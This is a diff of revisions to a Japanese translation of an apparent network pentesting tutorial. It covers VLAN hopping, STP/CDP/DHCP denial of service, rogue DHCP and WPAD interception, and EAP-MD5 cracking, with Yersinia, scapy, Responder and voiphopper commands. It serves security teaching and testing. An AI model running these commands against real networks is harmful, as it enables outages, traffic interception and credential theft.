-多くのスイッチにデフォルトでDTPが存在することを悪用することで、敵対者はスイッチの振る舞いを模倣し、すべてのVLANを通過するトラフィックにアクセスできます。 スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視し、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスモードのいずれであるかを示し、VLANホッピング攻撃に対して免疫のある唯一の構成である後者を評価するために使用されます。 このツールは、スイッチの脆弱性ステータスを評価します。 - -ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効に」し、すべてのVLANからのパケットを観察できます。 +ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効に」し、すべてのVLANからパケットを観察できます。 ```bash apt-get install yersinia #Installation sudo apt install kali-linux-large #Another way to install it in Kali @@ -290,21 +284,21 @@ yersinia -I #Interactive mode yersinia -G #For graphic mode ``` -![](<../../.gitbook/assets/image (646) (1).png>) +![](<../../.gitbook/assets/image (269).png>) -VLANを列挙するためには、スクリプト[DTPHijacking.py](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)を使用してDTPデザイアブルフレームを生成することも可能です。スクリプトを絶対に中断しないでください。それは3秒ごとにDTPデザイアブルをインジェクトします。スイッチ上で動的に作成されたトランクチャネルは、5分間だけ有効です。5分後にトランクは切断されます。 +VLANを列挙するためには、スクリプト[DTPHijacking.py](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)を使用してDTPデザイアブルフレームを生成することも可能です。スクリプトを絶対に中断しないでください。それは3秒ごとにDTPデザイアブルをインジェクトします。スイッチ上で動的に作成されたトランクチャネルは、5分間だけ存在します。5分後にトランクは切断されます。 ``` sudo python3 DTPHijacking.py --interface eth0 ``` -私たちは、**Access/Desirable (0x03)** がDTPフレームがDesirableタイプであることを示し、ポートにTrunkモードへの切り替えを指示することを示していることを指摘したいと思います。そして、**802.1Q/802.1Q (0xa5)** は **802.1Q** カプセル化タイプを示しています。 +私たちは、**Access/Desirable (0x03)** がDTPフレームがDesirableタイプであることを示し、ポートにTrunkモードへの切り替えを指示することを示すことを指摘したいと思います。そして、**802.1Q/802.1Q (0xa5)** は **802.1Q** カプセル化タイプを示します。 -STPフレームを分析することで、**VLAN 30とVLAN 60の存在を知ることができます。** +STPフレームを分析することで、**VLAN 30とVLAN 60の存在について知ることができます。** - + #### 特定のVLANへの攻撃 -VLANのIDとIP値を知ったら、**特定のVLANを攻撃するために仮想インターフェースを設定**することができます。\ +VLANのIDとIP値を知ったら、**特定のVLANを攻撃するために仮想インターフェースを設定**できます。\ DHCPが利用できない場合は、静的IPアドレスを設定するために _ifconfig_ を使用してください。 ``` root@kali:~# modprobe 8021q @@ -344,9 +338,11 @@ sudo dhclient -v eth0.30 #### ダブルタギング -攻撃者が**被害者ホストのMAC、IP、VLAN IDの値を知っている**場合、指定されたVLANと被害者のVLANで**フレームにダブルタグを付け**、パケットを送信することができます。**被害者は攻撃者に接続できない**ため、**攻撃者の最良の選択肢はUDPを介して通信する**ことです。これにより、SNMPのような興味深いアクションを実行できるプロトコルにアクセスできます。 +攻撃者が**被害者ホストのMAC、IP、VLAN IDの値を知っている**場合、指定されたVLANと被害者のVLANで**フレームにダブルタグを付け**、パケットを送信することができます。**被害者は攻撃者に接続できない**ため、**攻撃者の最良の選択肢はUDPを介して通信する**ことです。興味深いアクションを実行できるプロトコル(SNMPなど)。 -攻撃者の別の選択肢は、**攻撃者が制御するIPをスプーフィングし、被害者がアクセスできる(おそらくインターネット経由で)IPを使用してTCPポートスキャンを実行**することです。その後、攻撃者は、被害者からパケットを受信するかどうかを自分が所有する2番目のホストでスニッフィングできます。 +攻撃者の別の選択肢は、**攻撃者が制御するIPをスプーフィングし、被害者がアクセス可能なTCPポートスキャンを実行**することです(おそらくインターネット経由)。その後、攻撃者は、被害者からパケットを受信するかどうかを自分が所有する2番目のホストでスニッフィングできます。 + +![](<../../.gitbook/assets/image (190).png>) この攻撃を実行するには、scapyを使用できます:`pip install scapy` ```python @@ -357,7 +353,7 @@ sendp(packet) ``` #### レイテラルVLANセグメンテーションバイパス -**直接接続されたスイッチにアクセス権がある場合**、ネットワーク内での**VLANセグメンテーションをバイパス**する能力があります。単純にポートをトランクモード(トランクとも呼ばれる)に切り替え、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを構成します。アドレスを動的に(DHCP)要求するか、静的に構成するかはケースによります。 +もし直接接続されたスイッチに**アクセス権**がある場合、ネットワーク内での**VLANセグメンテーションをバイパス**する能力があります。単純にポートをトランクモード(トランクとも呼ばれる)に切り替え、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを設定します。アドレスを動的に(DHCP)要求するか、静的に設定するかはケースによります。 {% content-ref url="lateral-vlan-segmentation-bypass.md" %} [lateral-vlan-segmentation-bypass.md](lateral-vlan-segmentation-bypass.md) @@ -365,13 +361,14 @@ sendp(packet) #### レイヤー3 プライベートVLAN バイパス -特定の環境、例えばゲストワイヤレスネットワークでは、**ポートアイソレーション(プライベートVLANとも呼ばれる)** 設定が実装され、ワイヤレスアクセスポイントに接続されたクライアント同士の直接通信を防止しています。しかし、これらの分離対策を回避する技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を悪用し、IPパケットをルーターを介して他のクライアントに到達させることが可能です。 +特定の環境、例えばゲストワイヤレスネットワークでは、**ポートアイソレーション(プライベートVLANとも呼ばれる)**設定が実装され、ワイヤレスアクセスポイントに接続されたクライアント同士の直接通信を防いでいます。しかし、これらの分離対策を回避する技術が特定されています。この技術は、ネットワークACLの欠如または不適切な構成を悪用し、IPパケットがルーターを経由して同じネットワーク上の別のクライアントに到達するようにします。 -攻撃は、**宛先クライアントのIPアドレスを持つパケットをルーターのMACアドレスで送信する**ことによって実行されます。これにより、ルーターは誤ってパケットをターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御することでセキュリティ上の欠陥を悪用するダブルタギング攻撃で使用されるものと似ています。 +攻撃は、**宛先クライアントのIPアドレスを持つパケットを作成し、ルーターのMACアドレスを使用**することで実行されます。これにより、ルーターは誤ってパケットをターゲットクライアントに転送します。このアプローチは、被害者にアクセス可能なホストを制御することでセキュリティ上の欠陥を悪用するダブルタギング攻撃で使用されるものと似ています。 **攻撃の主なステップ:** -1. **パケットの作成:** ターゲットクライアントのIPアドレスを含む特別に作成されたパケットを作成しますが、ルーターのMACアドレスを使用します。 -2. **ルーターの動作の悪用:** 作成されたパケットはルーターに送信され、構成により、プライベートVLAN設定によって提供される分離をバイパスして、パケットがターゲットクライアントに転送されます。 + +1. **パケットの作成:** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケット。 +2. **ルーターの動作の悪用:** 作成されたパケットがルーターに送信され、構成により、プライベートVLAN設定によって提供される分離をバイパスして、パケットがターゲットクライアントに転送されます。 ### VTP攻撃 @@ -379,22 +376,22 @@ VTP(VLANトランキングプロトコル)はVLAN管理を集約化します #### VTPドメインの役割 -- **VTPサーバー:** VLANを管理し、作成、削除、変更を行います。ドメインメンバーにVTPアナウンスをブロードキャストします。 -- **VTPクライアント:** VTPアナウンスを受信してVLANデータベースを同期します。この役割は、ローカルVLAN構成の変更を制限されています。 -- **VTPトランスペアレント:** VTPの更新には参加せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。 +* **VTPサーバー:** VLANを管理し、作成、削除、変更を行います。ドメインメンバーにVTPアナウンスをブロードキャストします。 +* **VTPクライアント:** VTPアナウンスを受信してVLANデータベースを同期します。この役割は、ローカルVLAN構成の変更を制限されています。 +* **VTPトランスペアレント:** VTPの更新には参加せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。 #### VTP広告タイプ -- **サマリ広告:** 重要なドメイン情報を含むVTPサーバーによって300秒ごとにブロードキャストされます。 -- **サブセット広告:** VLAN構成の変更後に送信されます。 -- **広告リクエスト:** VTPクライアントがサマリ広告をリクエストするために発行され、通常はより高い構成リビジョン番号を検出した場合に応答します。 +* **サマリ広告:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を運びます。 +* **サブセット広告:** VLAN構成の変更後に送信されます。 +* **広告リクエスト:** VTPクライアントがサマリ広告を要求するために発行され、通常はより高い構成リビジョン番号を検出した場合に応答します。 -VTPの脆弱性はトランクポートを介してのみ悪用可能であり、VTPアナウンスはこれらのポートを通じてのみ循環します。DTP攻撃シナリオの後、VTPに向けられる可能性があります。YersiniaなどのツールはVTP攻撃を容易にし、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目指します。 +VTPの脆弱性はトランクポートを介してのみ悪用可能です。VTPアナウンスはこれらのポートを通じてのみ循環します。DTP攻撃シナリオはVTPに向かう可能性があります。YersiniaのようなツールはVTP攻撃を容易にし、VLANデータベースを消去し、ネットワークを効果的に混乱させることを目指します。 注意: この議論はVTPバージョン1(VTPv1)に関連しています。 -```bash +````bash %% yersinia -G # Launch Yersinia in graphical mode ``` -``` +```` ### STP攻撃 **インターフェースでBPDUフレームをキャプチャできない場合、STP攻撃を成功させる可能性は低いです。** @@ -409,7 +406,7 @@ yersinia stp -attack 3 ``` #### **STP TCP Attack** -TCPを送信すると、スイッチのCAMテーブルが15秒で削除されます。その後、この種のパケットを連続して送信していると、CAMテーブルが連続して再起動されます(または15秒ごとに)し、再起動されると、スイッチはハブのように動作します。 +TCPを送信すると、スイッチのCAMテーブルが15秒で削除されます。その後、この種のパケットを連続して送信していると、CAMテーブルが連続して再起動されます(または15秒ごとに)し、再起動されると、スイッチはハブのように動作します ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen @@ -422,60 +419,60 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` -**攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートとなり、それらのスイッチ間のすべてのトラフィックが彼を経由するようになります**(MITM攻撃が実行されます)。 +**攻撃者が2つのスイッチに接続されている場合、彼は新しいツリーのルートとなり、それらのスイッチ間のすべてのトラフィックが彼を経由することになります**(MITM攻撃が実行されます)。 ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` -### CDP攻撃 +### CDP 攻撃 -CISCO Discovery Protocol(CDP)は、CISCOデバイス間の通信に不可欠であり、**お互いを識別し構成の詳細を共有**することができます。 +CISCO Discovery Protocol(CDP)は、CISCO デバイス間の通信に不可欠であり、**お互いを識別し構成の詳細を共有**することができます。 -#### パッシブデータ収集 +#### パッシブデータ収集 -CDPはすべてのポートを介して情報をブロードキャストするように構成されており、これはセキュリティリスクにつながる可能性があります。攻撃者は、スイッチポートに接続した際に、**Wireshark**、**tcpdump**、または**Yersinia**などのネットワークスニッファを展開することができます。この行動により、ネットワークデバイスに関する機密データが公開され、そのモデルや実行されているCisco IOSのバージョンなどが明らかになります。攻撃者は、特定の脆弱性を特定されたCisco IOSバージョンに対して標的にするかもしれません。 +CDP はすべてのポートを介して情報をブロードキャストするように構成されており、これはセキュリティリスクにつながる可能性があります。攻撃者は、スイッチポートに接続した際に、**Wireshark**、**tcpdump**、または**Yersinia**などのネットワークスニッファを展開することができます。この行動により、ネットワークデバイスに関する機密データが公開され、そのモデルや実行されているCisco IOSのバージョンなどが明らかになります。攻撃者は、特定の脆弱性を特定されたCisco IOSバージョンに対して標的にするかもしれません。 -#### CDPテーブルフラッディングの誘発 +#### CDP テーブルフラッディングの誘発 -より攻撃的なアプローチは、合法的なCISCOデバイスであるかのように振る舞い、スイッチのメモリを圧倒してサービスの拒否(DoS)攻撃を実行することです。以下は、テスト用に設計されたネットワークツールであるYersiniaを使用してこのような攻撃を開始するためのコマンドシーケンスです: +より攻撃的なアプローチは、合法的なCISCOデバイスであるかのように振る舞い、スイッチのメモリを圧倒してサービスの拒否(DoS)攻撃を開始することです。以下は、テスト用に設計されたネットワークツールであるYersiniaを使用してこのような攻撃を開始するためのコマンドシーケンスです: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` -攻撃中、スイッチのCPUとCDP隣接テーブルが重く負荷され、しばしば**「ネットワーク麻痺」**と呼ばれる状態に至る。 +攻撃中、スイッチのCPUとCDP隣接テーブルが重く負担され、しばしば**「ネットワーク麻痺」**と呼ばれる状況が生じます。これは、過剰なリソース消費によるものです。 #### CDPなりすまし攻撃 ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` -[**scapy**](https://github.com/secdev/scapy/)も使用できます。`scapy/contrib`パッケージをインストールしてください。 +また、[**scapy**](https://github.com/secdev/scapy/)を使用することもできます。`scapy/contrib`パッケージを使用してインストールしてください。 ### VoIP攻撃とVoIP Hopperツール -IoTデバイスと統合されることが増えているVoIP電話は、特別な電話番号を介してドアの解除や温度調節器の制御などの機能を提供します。ただし、この統合はセキュリティリスクを引き起こす可能性があります。 +VoIP電話は、IoTデバイスと統合されることが増えており、特別な電話番号を介してドアの開錠や温度調節などの機能を提供しています。ただし、この統合はセキュリティリスクを引き起こす可能性があります。 -ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境(Cisco、Avaya、Nortel、Alcatel-Lucent)でVoIP電話をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、802.1Q ARPなどのプロトコルを使用して、音声ネットワークのVLAN IDを発見します。 +ツール[**voiphopper**](http://voiphopper.sourceforge.net)は、さまざまな環境(Cisco、Avaya、Nortel、Alcatel-Lucent)でVoIP電話をエミュレートするよう設計されています。CDP、DHCP、LLDP-MED、および802.1Q ARPなどのプロトコルを使用して音声ネットワークのVLAN IDを発見します。 -**VoIP Hopper**には、Cisco Discovery Protocol(CDP)に対して3つのモードがあります: +**VoIP Hopper**には、Cisco Discovery Protocol(CDP)用の3つのモードがあります: 1. **スニッフモード**(`-c 0`):ネットワークパケットを分析してVLAN IDを特定します。 2. **スプーフモード**(`-c 1`):実際のVoIPデバイスのパケットを模倣するカスタムパケットを生成します。 -3. **事前作成パケットモードでスプーフ**(`-c 2`):特定のCisco IP電話モデルと同一のパケットを送信します。 +3. **事前作成パケットモードでスプーフ**(`-c 2`):特定のCisco IP電話モデルのパケットと同一のパケットを送信します。 速度を重視する場合、3番目のモードが好ましいです。指定する必要があるものは次のとおりです: -- 攻撃者のネットワークインターフェース(`-i`パラメータ)。 -- エミュレートされるVoIPデバイスの名前(`-E`パラメータ)、Ciscoの命名形式に従う必要があります(例:MACアドレスに続くSEP)。 +* 攻撃者のネットワークインターフェース(`-i`パラメータ)。 +* エミュレートされるVoIPデバイスの名前(`-E`パラメータ)、Ciscoの命名形式に従う必要があります(例:MACアドレスに続くSEP)。 -企業環境では、既存のVoIPデバイスを模倣するために、次のような手順を踏むことがあります: +企業環境では、既存のVoIPデバイスを模倣するために、次のことが考えられます: -- 電話機のMACラベルを調査する。 -- モデル情報を表示するために電話機のディスプレイ設定をナビゲートする。 -- VoIPデバイスをノートパソコンに接続し、Wiresharkを使用してCDPリクエストを観察する。 +* 電話機のMACラベルを調査する。 +* モデル情報を表示するために電話機のディスプレイ設定をナビゲートする。 +* VoIPデバイスをノートパソコンに接続し、Wiresharkを使用してCDPリクエストを観察する。 -3番目のモードでツールを実行するための例示コマンドは次のとおりです: +3番目のモードでツールを実行するための例示的なコマンドは次のとおりです: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` @@ -501,8 +498,8 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` **DoS** -DHCPサーバーに対して実行できる**DoS**には2種類があります。最初の方法は、**十分な偽のホストをシミュレートして、可能なすべてのIPアドレスを使用する**ことです。\ -この攻撃は、DHCPサーバーの応答を見ることができ、プロトコルを完了できる場合にのみ機能します(**Discover**(コンピューター)--> **Offer**(サーバー)--> **Request**(コンピューター)--> **ACK**(サーバー))。たとえば、これは**Wifiネットワークでは不可能**です。 +DHCPサーバーに対して実行できる**DoSの2種類**があります。最初の方法は、**十分な偽のホストをシミュレートして、可能なすべてのIPアドレスを使用する**ことです。\ +この攻撃は、DHCPサーバーの応答を見ることができ、プロトコルを完了できる場合にのみ機能します(**Discover**(コンピュータ)--> **Offer**(サーバー)--> **Request**(コンピュータ)--> **ACK**(サーバー))。たとえば、これは**Wifiネットワークでは不可能**です。 DHCP DoSを実行する別の方法は、**すべての可能なIPをソースコードとして使用してDHCP-RELEASEパケットを送信**することです。その後、サーバーは誰もがIPを使用し終わったと思うでしょう。 ```bash @@ -511,26 +508,26 @@ yersinia dhcp -attack 3 #More parameters are needed ``` より自動的な方法は、[DHCPing](https://github.com/kamorin/DHCPig)ツールを使用することです。 -環境内のクライアントに新しいリースを取得させるために、上記のDoS攻撃を使用して、合法的なサーバーを使い果たし、応答しなくなるようにすることができます。したがって、合法的なサーバーが再接続しようとすると、**次の攻撃で言及されている悪意のある値を提供できます**。 +環境内でクライアントに新しいリースを取得させるために、上記のDoS攻撃を使用して、正規のサーバーを使い果たし、応答しなくなるようにすることができます。したがって、正規のサーバーが再接続しようとすると、**次の攻撃で言及されている悪意のある値を提供できます**。 #### 悪意のある値を設定する -`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して、ローグDHCPサーバーを設定できます。これは、HTTPトラフィックや資格情報をキャプチャするなどのネットワーク攻撃に役立ちます。ただし、ローグゲートウェイを設定するのは効果が低いため、クライアントからのアウトバウンドトラフィックのみをキャプチャでき、実際のゲートウェイからの応答を見逃します。代わりに、ローグDNSサーバーやWPADサーバーを設定することをお勧めします。 +`/usr/share/responder/DHCP.py`にあるDHCPスクリプトを使用して、ローグDHCPサーバーを設定できます。これは、HTTPトラフィックや資格情報をキャプチャするなどのネットワーク攻撃に役立ちます。ただし、ローグゲートウェイを設定すると、クライアントからのアウトバウンドトラフィックのキャプチャのみが可能であり、実際のゲートウェイからの応答を見逃すため、効果が低下します。代わりに、ローグDNSサーバーやWPADサーバーを設定することをお勧めします。 以下は、ローグDHCPサーバーを構成するためのコマンドオプションです: -- **当社のIPアドレス(ゲートウェイ広告)**:`-i 10.0.0.100`を使用して、自分のマシンのIPをゲートウェイとして広告します。 -- **ローカルDNSドメイン名**:オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定します。 -- **元のルーター/ゲートウェイIP**:合法的なルーターやゲートウェイのIPアドレスを指定するには、`-r 10.0.0.1`を使用します。 -- **プライマリDNSサーバーIP**:コントロールするローグDNSサーバーのIPアドレスを設定するには、`-p 10.0.0.100`を使用します。 -- **セカンダリDNSサーバーIP**:オプションで、セカンダリDNSサーバーIPを設定するには、`-s 10.0.0.1`を使用します。 -- **ローカルネットワークのネットマスク**:ローカルネットワークのネットマスクを定義するには、`-n 255.255.255.0`を使用します。 -- **DHCPトラフィック用のインターフェース**:特定のネットワークインターフェースでDHCPトラフィックをリッスンするには、`-I eth1`を使用します。 -- **WPAD構成アドレス**:Webトラフィックの傍受を支援するために、`-w “http://10.0.0.100/wpad.dat”`を使用してWPAD構成のアドレスを設定します。 -- **デフォルトゲートウェイIPのスプーフィング**:デフォルトゲートウェイIPアドレスをスプーフィングするには、`-S`を含めます。 -- **すべてのDHCPリクエストに応答する**:サーバーがすべてのDHCPリクエストに応答するようにするには、`-R`を含めますが、これはノイズが多く、検出される可能性があることに注意してください。 +* **当社のIPアドレス(ゲートウェイ広告)**:`-i 10.0.0.100`を使用して、自分のマシンのIPをゲートウェイとして広告します。 +* **ローカルDNSドメイン名**:オプションで、`-d example.org`を使用してローカルDNSドメイン名を設定できます。 +* **元のルーター/ゲートウェイIP**:正規のルーターやゲートウェイのIPアドレスを指定するには、`-r 10.0.0.1`を使用します。 +* **プライマリDNSサーバーIP**:コントロールするローグDNSサーバーのIPアドレスを設定するには、`-p 10.0.0.100`を使用します。 +* **セカンダリDNSサーバーIP**:オプションで、セカンダリDNSサーバーのIPを設定するには、`-s 10.0.0.1`を使用します。 +* **ローカルネットワークのネットマスク**:ローカルネットワークのネットマスクを定義するには、`-n 255.255.255.0`を使用します。 +* **DHCPトラフィック用のインターフェース**:特定のネットワークインターフェースでDHCPトラフィックをリッスンするには、`-I eth1`を使用します。 +* **WPAD構成アドレス**:Webトラフィックの傍受を支援するために、`-w “http://10.0.0.100/wpad.dat”`を使用してWPAD構成のアドレスを設定します。 +* **デフォルトゲートウェイIPのスプーフィング**:デフォルトゲートウェイIPアドレスをスプーフィングするには、`-S`を含めます。 +* **すべてのDHCPリクエストに応答する**:サーバーがすべてのDHCPリクエストに応答するようにするには、`-R`を含めますが、これはノイズが多く、検出される可能性があることに注意してください。 -これらのオプションを正しく使用することで、ローグDHCPサーバーを効果的に設定してネットワークトラフィックを傍受できます。 +これらのオプションを正しく使用することで、ローグDHCPサーバーを効果的に設定してネットワークトラフィックを傍受することができます。 ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R @@ -539,21 +536,21 @@ yersinia dhcp -attack 3 #More parameters are needed 以下は、802.1X実装に対して使用できる攻撃戦術のいくつかです: -* EAPを介したアクティブな総当たりパスワードクラッキング -* 不正なEAPコンテンツによるRADIUSサーバーへの攻撃 _(exploits)_ +* EAPを介したアクティブな総当たりパスワード解読 +* EAPコンテンツを不正に攻撃するRADIUSサーバ _(exploits)_ * EAPメッセージのキャプチャとオフラインパスワードクラッキング(EAP-MD5およびPEAP) * EAP-MD5認証を強制してTLS証明書の検証をバイパスする -* ハブまたは類似のものを使用して認証後に悪意のあるネットワークトラフィックを注入する +* ハブまたは類似のものを使用して認証後に悪意のあるネットワークトラフィックを注入 -攻撃者が被害者と認証サーバーの間にいる場合、認証プロトコルをEAP-MD5に劣化させ、認証試行をキャプチャしようとすることができます。その後、以下を使用して総当たり攻撃を行うことができます: +攻撃者が被害者と認証サーバーの間にいる場合、必要に応じて認証プロトコルをEAP-MD5に劣化させ、認証試行をキャプチャできます。その後、以下を使用して総当たり攻撃を行うことができます: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` -### FHRP (GLBP & HSRP) 攻撃 +### FHRP (GLBP & HSRP) 攻撃 **FHRP**(First Hop Redundancy Protocol)は、**ホット冗長ルーティングシステムを作成**するために設計されたネットワークプロトコルのクラスです。FHRPを使用すると、物理ルーターを1つの論理デバイスに組み合わせることができ、信頼性を向上させ負荷を分散するのに役立ちます。 -**シスコシステムのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。** +**Cisco Systemsのエンジニアは、GLBPとHSRPの2つのFHRPプロトコルを開発しました。** {% content-ref url="glbp-and-hsrp-attacks.md" %} [glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md) @@ -561,39 +558,39 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ### RIP -ルーティング情報プロトコル(RIP)には、RIP、RIPv2、RIPngの3つのバージョンが存在します。RIPとRIPv2では、データグラムはUDPを使用してポート520に向かってピアに送信されますが、RIPngではデータグラムはIPv6マルチキャストを介してUDPポート521にブロードキャストされます。 RIPv2ではMD5認証がサポートされています。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のオプションのIPsec AHおよびESPヘッダーに依存しています。 +ルーティング情報プロトコル(RIP)には3つのバージョンが存在します:RIP、RIPv2、RIPng。RIPとRIPv2はUDPを使用してポート520経由でピアにデータグラムを送信しますが、RIPngはIPv6マルチキャストを介してUDPポート521にブロードキャストされます。RIPv2ではMD5認証がサポートされています。一方、RIPngにはネイティブ認証が組み込まれておらず、代わりにIPv6内のIPsec AHおよびESPヘッダーに依存しています。 -- **RIPとRIPv2:** 通信はポート520上のUDPデータグラムを介して行われます。 -- **RIPng:** IPv6マルチキャストを介してUDPポート521を利用してデータグラムをブロードキャストします。 +* **RIPとRIPv2:** 通信はポート520上のUDPデータグラムを介して行われます。 +* **RIPng:** IPv6マルチキャストを介してUDPポート521を利用してデータグラムをブロードキャストします。 RIPv2はMD5認証をサポートしていますが、RIPngにはネイティブ認証が含まれず、IPv6内のIPsec AHおよびESPヘッダーに依存しています。 ### EIGRP 攻撃 -**EIGRP(Enhanced Interior Gateway Routing Protocol)**は動的ルーティングプロトコルです。**認証がない**場合やパッシブインターフェイスの構成がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの毒化**を引き起こす可能性があります。さらに、EIGRPネットワーク(つまり、自律システム)**はフラットで、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、このルートが自律EIGRPシステム全体に**広がる**可能性があります。 +**EIGRP(Enhanced Interior Gateway Routing Protocol)**は動的ルーティングプロトコルです。**認証がない**場合やパッシブインターフェイスの構成がない場合、**侵入者**はEIGRPルーティングに干渉し、**ルーティングテーブルの改ざん**を引き起こす可能性があります。さらに、EIGRPネットワーク(つまり、自律システム)**はフラットで、ゾーンに分割されていません**。**攻撃者がルートを注入**すると、このルートが自律EIGRPシステム全体に**広がる**可能性があります。 -EIGRPシステムを攻撃するには、**正当なEIGRPルーターとの隣接関係を確立**する必要があります。これにより、基本的な偵察からさまざまなインジェクションまでさまざまな可能性が開かれます。 +EIGRPシステムを攻撃するには、合法的なEIGRPルーターとの**隣接関係を確立**する必要があります。これにより、基本的な偵察からさまざまなインジェクションまでさまざまな可能性が開かれます。 -[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPなどのプロトコルをサポートする仮想ルーター**を実装できます。攻撃者のシステムに展開するだけで、ルーティングドメイン内の正当なルーターを装うことができます。 +[**FRRouting**](https://frrouting.org/)を使用すると、**BGP、OSPF、EIGRP、RIPなどのプロトコルをサポートする仮想ルーター**を実装できます。攻撃者のシステムに展開するだけで、ルーティングドメイン内の合法的なルーターを装うことができます。 {% content-ref url="eigrp-attacks.md" %} [eigrp-attacks.md](eigrp-attacks.md) {% endcontent-ref %} -[**Coly**](https://code.google.com/p/coly/)は、EIGRP(Enhanced Interior Gateway Routing Protocol)のブロードキャストを傍受する機能を持っています。また、ルーティング構成を変更するために使用できるパケットのインジェクションも可能です。 +[**Coly**](https://code.google.com/p/coly/)は、EIGRP(Enhanced Interior Gateway Routing Protocol)ブロードキャストを傍受する機能を持っています。また、ルーティング構成を変更するために使用できるパケットのインジェクションも可能です。 ### OSPF -Open Shortest Path First(OSPF)プロトコルでは、**MD5認証が一般的に使用され、ルーター間の安全な通信を確保**します。ただし、このセキュリティ対策はLokiやJohn the Ripperなどのツールを使用して妨害される可能性があります。これらのツールはMD5ハッシュをキャプチャしてクラックし、認証キーを公開します。このキーを取得すると、新しいルーティング情報を導入するために使用できます。ルートパラメータを構成し、侵害されたキーを確立するには、それぞれ _Injection_ および _Connection_ タブが使用されます。 +Open Shortest Path First(OSPF)プロトコルでは、**MD5認証が一般的に使用され、ルーター間の安全な通信を確保**します。ただし、このセキュリティ対策はLokiやJohn the Ripperなどのツールを使用して妨害される可能性があります。これらのツールはMD5ハッシュをキャプチャしてクラックし、認証キーを公開することができます。このキーを取得すると、新しいルーティング情報を導入するために使用できます。ルートパラメータを構成し、侵害されたキーを確立するには、それぞれ _Injection_ および _Connection_ タブが使用されます。 -- **MD5ハッシュのキャプチャとクラック:** LokiやJohn the Ripperなどのツールが使用されます。 -- **ルートパラメータの構成:** _Injection_ タブを介して行われます。 -- **侵害されたキーの設定:** キーは _Connection_ タブの下で構成されます。 +* **MD5ハッシュのキャプチャとクラック:** LokiやJohn the Ripperなどのツールが使用されます。 +* **ルートパラメータの構成:** _Injection_ タブを介して行われます。 +* **侵害されたキーの設定:** キーは _Connection_ タブの下で構成されます。 ### その他の一般的なツールとソース -* [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンして脆弱性を見つけるためのツール -* ネットワーク攻撃に関する詳細な情報は[こちら](https://github.com/Sab0tag3d/MITM-cheatsheet)で入手できます。 +* [**Above**](https://github.com/c4s73r/Above): ネットワークトラフィックをスキャンして脆弱性を見つけるツール +* ネットワーク攻撃に関する**詳細情報**は[**こちら**](https://github.com/Sab0tag3d/MITM-cheatsheet)で見つけることができます。 ## **スプーフィング** @@ -604,7 +601,7 @@ yersinia dhcp -attack 2 #More parameters are needed ``` ### ARPスプーフィング -[前のセクション](./#arp-spoofing)を参照してください。 +[前のセクション](./#arp-spoofing)をチェックしてください。 ### ICMPリダイレクト @@ -647,26 +644,26 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder ``` ### [LLMNR、NBT-NS、およびmDNSのスプーフィング](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -DNSのルックアップが失敗した場合、Microsoftシステムは**リンクローカルマルチキャストネームリゾルブ(LLMNR)**と**NetBIOSネームサービス(NBT-NS)**に依存しています。同様に、**Apple Bonjour**および**Linuxゼロ構成**の実装は、ネットワーク内のシステムを発見するために**マルチキャストDNS(mDNS)**を利用しています。これらのプロトコルは認証されていないため、UDPを介してメッセージをブロードキャストするため、攻撃者によって悪意のあるサービスにユーザーをリダイレクトするために悪用される可能性があります。 +DNS検索が失敗した場合、Microsoftシステムは**リンクローカルマルチキャスト名解決(LLMNR)**と**NetBIOS名前サービス(NBT-NS)**に依存します。同様に、**Apple 